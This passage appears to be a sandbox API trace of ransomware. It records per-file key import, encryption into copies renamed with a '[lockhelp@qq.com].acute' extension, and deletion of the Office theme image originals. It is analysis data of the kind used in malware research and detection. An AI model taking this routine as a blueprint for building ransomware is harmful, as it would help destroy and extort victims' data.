Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.963] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=32607) returned 1 [0055.963] CloseHandle (hObject=0x190) returned 1 [0055.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0055.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.963] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.963] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.964] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.964] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.964] ReadFile (in: hFile=0x190, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x7f5f, lpOverlapped=0x0) returned 1 [0056.307] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x7f60, dwBufLen=0x7f60 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x7f60) returned 1 [0056.307] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x7f60, lpOverlapped=0x0) returned 1 [0056.308] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0056.308] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.309] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0056.309] CryptDestroyKey (hKey=0x593220) returned 1 [0056.309] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0056.309] CryptDestroyKey (hKey=0x593260) returned 1 [0056.309] CloseHandle (hObject=0x190) returned 1 [0056.309] CloseHandle (hObject=0x1ac) returned 1 [0056.310] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0056.311] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0056.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.876] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=29925) returned 1 [0056.876] CloseHandle (hObject=0x1a0) returned 1 [0056.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0056.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0056.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.877] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.877] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.878] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932a0) returned 1 [0056.878] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.878] ReadFile (in: hFile=0x1a0, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x74e5, lpOverlapped=0x0) returned 1 [0056.879] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x74f0, dwBufLen=0x74f0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x74f0) returned 1 [0056.880] WriteFile (in: hFile=0x1b0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x74f0, lpOverlapped=0x0) returned 1 [0056.881] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0056.881] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.881] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0056.881] CryptDestroyKey (hKey=0x593260) returned 1 [0056.881] WriteFile (in: hFile=0x1b0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0056.881] CryptDestroyKey (hKey=0x5932a0) returned 1 [0056.881] CloseHandle (hObject=0x1a0) returned 1 [0056.881] CloseHandle (hObject=0x1b0) returned 1 [0056.882] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0056.883] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0056.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.884] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1363) returned 1 [0056.884] CloseHandle (hObject=0x1b0) returned 1 [0056.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0056.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0056.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.884] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.884] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.886] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932a0) returned 1 [0056.886] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.886] ReadFile (in: hFile=0x1b0, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x553, lpOverlapped=0x0) returned 1 [0056.887] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x560, dwBufLen=0x560 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x560) returned 1 [0056.887] WriteFile (in: hFile=0x1a0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x560, lpOverlapped=0x0) returned 1 [0056.888] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0056.888] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.888] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0056.888] CryptDestroyKey (hKey=0x593260) returned 1 [0056.888] WriteFile (in: hFile=0x1a0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0056.889] CryptDestroyKey (hKey=0x5932a0) returned 1 [0056.889] CloseHandle (hObject=0x1b0) returned 1 [0056.889] CloseHandle (hObject=0x1a0) returned 1 [0056.889] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0056.890] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0056.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.891] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=20371) returned 1 [0056.891] CloseHandle (hObject=0x1a0) returned 1 [0056.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0056.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0056.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.891] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.891] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.891] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932a0) returned 1 [0056.891] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.891] ReadFile (in: hFile=0x1a0, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x4f93, lpOverlapped=0x0) returned 1 [0056.893] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4fa0, dwBufLen=0x4fa0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4fa0) returned 1 [0056.893] WriteFile (in: hFile=0x1b0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x4fa0, lpOverlapped=0x0) returned 1 [0056.894] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0056.894] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.894] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0056.894] CryptDestroyKey (hKey=0x593260) returned 1 [0056.894] WriteFile (in: hFile=0x1b0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0056.895] CryptDestroyKey (hKey=0x5932a0) returned 1 [0056.895] CloseHandle (hObject=0x1a0) returned 1 [0056.895] CloseHandle (hObject=0x1b0) returned 1 [0056.895] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0056.896] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0056.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.897] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1293) returned 1 [0056.897] CloseHandle (hObject=0x1b0) returned 1 [0056.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0056.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0056.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.897] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.897] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.899] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932a0) returned 1 [0056.899] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.899] ReadFile (in: hFile=0x1b0, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x50d, lpOverlapped=0x0) returned 1 [0056.901] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x510, dwBufLen=0x510 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x510) returned 1 [0056.901] WriteFile (in: hFile=0x1a0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x510, lpOverlapped=0x0) returned 1 [0056.902] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0056.902] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.902] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0056.902] CryptDestroyKey (hKey=0x593260) returned 1 [0056.902] WriteFile (in: hFile=0x1a0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0056.902] CryptDestroyKey (hKey=0x5932a0) returned 1 [0056.902] CloseHandle (hObject=0x1b0) returned 1 [0056.902] CloseHandle (hObject=0x1a0) returned 1 [0056.903] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0056.904] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0056.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.904] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=20575) returned 1 [0056.904] CloseHandle (hObject=0x1a0) returned 1 [0056.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0056.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0056.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.905] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.905] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.905] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932a0) returned 1 [0056.905] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.905] ReadFile (in: hFile=0x1a0, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x505f, lpOverlapped=0x0) returned 1 [0056.907] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, 